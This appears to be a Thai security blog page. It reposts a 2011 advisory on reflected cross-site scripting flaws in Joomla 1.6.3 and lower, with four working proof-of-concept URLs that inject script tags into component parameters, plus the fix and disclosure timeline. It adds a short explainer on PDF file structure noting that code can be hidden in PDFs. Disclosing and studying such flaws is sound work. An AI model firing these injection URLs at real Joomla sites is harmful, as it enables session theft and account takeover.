วันอังคารที่ 28 มิถุนายน พ.ศ. 2554

Joomla! 1.6.3 and lower | Multiple Cross Site Scripting (XSS) Vulnerabilities

Joomla คือ CMS ฟรีตัวหนึ่งที่เป็นที่นิยม Joomla เขียนด้วย PHP โดยใช้เทคนิค OOP(object-oriented programming) และ software design patterns โดยเก็บข้อมูลด้วย Mysql ซึ่งมี features ต่างๆเช่น RSS feeds,
printable versions of pages, news flashes, blogs, polls, search และยังสนับสนุนภาษาต่างๆมากมายรวมทั้งภาษาไทยด้วย

VULNERABILITY DESCRIPTION
 พารามิเตอร์หลายๆตัว เช่น QueryString, option, searchword ในคอมโพเนนซ์หลัก เช่น com_content, com_contact, com_newsfeeds, com_search ซึ่งใช้งานผ่าน URL /index.php ซึ่งจะยอมให้ Attacker โจมตีด้วย Cross Site Scriptingได้ ซึ่งอาจจะยอมให้มีการรัน script ที่ิ brower ของเครื่องเป้าหมายได้

เวอร์ชั่นที่มีผล คือ 1.6.3 หรือต่ำกว่า

EXPLOIT
 component: com_contact , parameter: QueryString (Browser: All)
===============================================================
 http://attacker.in/joomla163_noseo/index.php?option=com_contact&view=category&catid=26&id=36&Itemid=-1"><script>alert(/XSS/)</script>


component:com_content , parameter: QueryString (Browser: All)
===============================================================
http://attacker.in/joomla163_noseo/index.php?option=com_content&view=category&id=19&Itemid=260&limit=10&filter_order_Dir=&limitstart=&filter_order=><script>alert(/XSS/)</script>

component: com_newsfeeds , parameter: QueryString (Browser: All)
=================================================================
http://attacker.in/joomla163_noseo/index.php?option=com_newsfeeds&view=category&id=17&whateverehere="><script>alert(/XSS/)</script>&Itemid=253&limit=10&filter_order_Dir=ASC&filter_order=ordering

parameter: option (Browser: All)
====================================
http://attacker.in/joomla163_noseo/index.php?option="><script>alert(/XSS/)</script>&task=reset.request

 ผลกระทบ คือ ผู้โจมตีสามารถเข้าใช้สิทธิเป็น administrator ได้ ซึ่งจะทำอะไรได้ทั้งหมดเทียบเท่า administrator

 แก้ไขได้โดยอัพเกรดเป็นเวอร์ชั่น 1.6.4

ผู้ค้นพบ
This vulnerability was discovered by Aung Khant, http://yehg.net, YGN
Ethical Hacker Group, Myanmar.


2011-05-26: notified vendor
2011-06-28: vendor released fix
2011-06-28: vulnerability disclosed

โครงสร้าง PDF File

ตัวอย่าง Hello Word.pdf ใน text editor

 ซึ่งประกอบไปด้วย
  • Header
  • Objects ต่างๆ
  • Cross reference table
  • และ trailer
ในที่นี้เราจะอธิบาย physical structure ของไฟล์ pdf นี้ ในส่วนของ Header จะบอกว่าเป็น Pdf version ไหน Trailer จะบอก ตำแหน่งของจุดเริ่มตั้นของ cross reference table ซึ่งในที่นี้ก็คือ ไบต์ที่ 642 cross reference จะบอกถึงตำแหน่งไบต์ของแต่ละออปเจ็ค คือ ออปเจ็ค 1 ถึง 7  ในที่นี้ ไบต์ที่ 12 ถึง 518 แต่ละออปเจ็ตจะเรียงลำดับกันมาคือ 1,2,3,4,5,6,7
     Logical structure ของ pdf ไฟล์จะเป็นแบบลำดับชั้น root ออปเจ็คจะถูกประกาศไว้ใน trailer ออปเจ็ค 1 คือ root ออปเจ็ค 2 และ 3 คือ ออปเจ็คลูกของออปเจ็ค 1(root) ออปเจ็ค 4 เป็นลูกของออปเจ็ค 3 ตามรูป และให้ดูในโค๊ดประกอบเพื่อให้เข้าใจง่ายขึ้น

      physical structure ออปเจ็คแต่ละออปเจ็คสามารถเปลี่ยนรูปแบบโครงสร้างได้โดย logical structure ไม่มีการเปลี่ยนแปลง ดูตัวอย่าง


    โดย cross reference จะมีการอัพเดตเพราะออปเจ็คมีการเปลี่ยนตำแหน่ง แต่โครงสร้างแบบ logical จะไม่มีการเปลี่ยนแปลงซึ่งทำให้การแสดงผลของทั้งสองไฟล์เหมือนกันทุกประการ จะเห็นได้ว่าเราสามารถเปลี่ยนรูปแบบ pdf ไฟล์ในแบบ physical โดยที่ยังคงมีการแสดงผลในแบบเดิมได้ ซึ่งเราสามารถที่จะนำโค๊ดที่อาจเป็นอันตรายกับเครื่องเราใส่เข้าไปในไฟล์ PDF นั้น เมื่อเปิดไฟล์ PDF ก็จะรันโค๊ดดังกล่าวทันที
ที่มา: http://blog.didierstevens.com